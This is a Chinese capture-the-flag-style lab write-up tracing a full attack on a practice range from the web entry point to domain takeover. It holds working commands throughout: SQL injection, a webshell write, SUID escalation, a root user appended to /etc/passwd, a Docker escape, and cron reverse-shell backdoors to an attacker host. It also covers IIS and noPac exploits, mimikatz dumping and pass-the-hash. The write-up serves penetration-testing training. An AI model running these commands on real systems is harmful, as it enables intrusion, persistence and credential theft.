从外网打点到内网漫游-入门级靶场渗透笔记
字数 1571 2025-08-12 11:34:48
从外网打点到内网漫游 - NASA靶场渗透实战教程
靶场概述
NASA靶场是一个综合考核网络安全能力的项目,主要考核从外网打点到渗透内网域控的全流程能力。靶场包含Linux和Windows系统,提供一个公网Web入口点,最终目标是获取五个flag。
涉及技术
- 代码审计
- 外网打点
- 多种漏洞配合获取Webshell
- Linux提权
- Docker逃逸
- 内网常见漏洞利用
- 内网漫游
- 域权限获取
环境搭建
内网穿透配置
由于靶机在本地,使用frp进行内网穿透:
VPS上的frps.ini
[common]
bind_port = 7788
token=token
本地靶机Ubuntu的frpc.ini
[common]
server_addr = 150.140.x.x
server_port = 7788
token = token
[web]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 80
访问http://150.140.x.x:80相当于访问http://192.168.110.173
外网打点
1. 端口扫描
使用masscan快速扫描:
masscan -p 1-65535 192.168.110.173 --rate=1000
使用nmap详细扫描:
nmap -p 80 192.168.110.173 -Pn -sV -oN result.txt
# -Pn 目标机禁用ping,绕过ping扫描
# -sV 对端口上的服务程序版本进行扫描
# -oN 结果导出
2. 目录扫描
使用ffuf工具:
ffuf -u "http://192.168.110.173/FUZZ" -w ./dict.txt -mc 200 -fs 0 -fl 1241
# -mc 200 筛选200状态码
# -fs 0 排除size为0的记录
# -fl 1241 排除自动跳转到主页/错误页的记录
发现重要目录:
/data- 目录浏览器/admin/webadmin.php- 后台登录界面
3. 自动漏洞扫描
使用xray进行被动扫描:
xray.exe webscan --listen 127.0.0.1:7777 --html-output nasa.html
4. 弱口令爆破
发现验证码不变,可进行爆破:
- 收集网站信息进行社工字典生成
- 使用工具生成字典
- 使用BurpSuite进行爆破
5. 代码审计
审计思路:
- 搜索危险函数:
system/exec/shell_exec/passthru/eval/file_put_contents - 白盒测试:跟踪业务流程,查看关键点代码
SQL注入发现:
- 搜索
mysql/mysqli关键字 - 查找
select语句 - 分析参数是否可控
- 发现
mobile_index模块存在未过滤的注入点
使用sqlmap验证:
sqlmap -u "http://192.168.110.173/user.php?mod=mobile_index" --data="id=1" --level=5 --risk=3
获取到MD5密码nasa123,解密后登录后台。
6. 获取Webshell
发现安装模块存在文件写入漏洞:
- 删除
install.lock文件 - 访问安装页面
- 闭合PHP标签写入一句话木马
<?php
$pe['db_host'] = '127.0.0.1'; //数据库主机地址
$pe['db_name'] = 'test\';phpinfo();//'; //数据库名称
$pe['db_user'] = 'root'; //数据库用户名
$pe['db_pw'] = 'root'; //数据库密码
?>
成功获取Webshell。
Linux提权
1. 检查SUID文件
find / -perm -u=s -type f 2>/dev/null
发现find命令具有SUID权限。
2. 利用SUID提权
find . -exec /bin/sh \; -quit
3. 创建持久化root用户
openssl passwd -1 -salt hack 123456
echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/root:/bin/bash' >> /etc/passwd
4. 生成交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
su hack
Docker逃逸
1. 检测Docker环境
cat /proc/1/cgroup | grep docker
2. 特权模式逃逸
fdisk -l
mkdir /test
mount /dev/sda1 /test
chroot /test
3. 设置持久化后门
echo 'bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.110.131/4444 0>&1'" >> /var/spool/cron/crontabs/root
echo 'root /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.110.131/4444 0>&1'" >> /etc/crontab
内网渗透
1. 路由转发
使用MSF的post/multi/manage/autoroute模块:
use post/multi/manage/autoroute
set session 2
run
2. 设置SOCKS代理
use auxiliary/server/socks_proxy
set SRVPORT 1080
run
配置/etc/proxychains4.conf:
socks5 127.0.0.1 1080
3. 内网扫描
proxychains4 nmap -sS -Pn 192.168.110.0/24 -p 445,80
发现三台主机:
- 192.168.110.144 (IIS 6.0)
- 192.168.110.197
- 192.168.110.142
4. 攻击IIS 6.0 (192.168.110.144)
利用CVE-2017-7269漏洞:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set rhosts 192.168.110.144
set payload windows/meterpreter/bind_tcp
run
5. 上传后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=IP lport=7777 -f exe -o s.exe
使用VBS下载:
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>download.vbs
cscript downfile.vbs http://IP:8000/s.exe s.exe
6. 提权
使用MS09-020漏洞提权。
7. 获取密码哈希
load kiwi
kiwi_cmd sekurlsa::logonPasswords
得到密码QWEasd123。
域渗透
1. 发现域控
net group "domain controllers" /domain
net time /domain
发现两个域控:
- AD01.nasa.gov
- AD02.nasa.gov
2. 利用noPac漏洞(CVE-2021-42278/42287)
proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 -shell --impersonate administrator
3. 获取域管理员哈希
proxychains4 python noPac.py nasa.gov/test:'QWEasd!@#999' -dc-ip 10.10.10.140 -dc-host AD01 --impersonate administrator -dump -just-dc-user Administrator
得到哈希:
nasa.gov\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090:::
4. 哈希传递攻击(PTH)
使用psexec:
proxychains4 python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140
或使用WMI(更隐蔽):
proxychains4 python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:fbe5588a79e40d41d77a40569c7b3090 nasa.gov/administrator@10.10.10.140 -codec gbk
总结
本教程详细展示了从外网打点到内网漫游的完整渗透流程,涉及:
- 信息收集与漏洞扫描
- Web应用漏洞利用
- Linux提权与Docker逃逸
- 内网横向移动
- 域渗透与权限提升
关键点:
- 多工具配合使用(masscan/nmap/ffuf/sqlmap)
- 代码审计技巧
- SUID提权方法
- Docker特权逃逸
- 内网路由转发与代理设置
- noPac漏洞利用
- 哈希传递攻击
通过这个靶场练习,可以全面掌握渗透测试的核心技能和流程。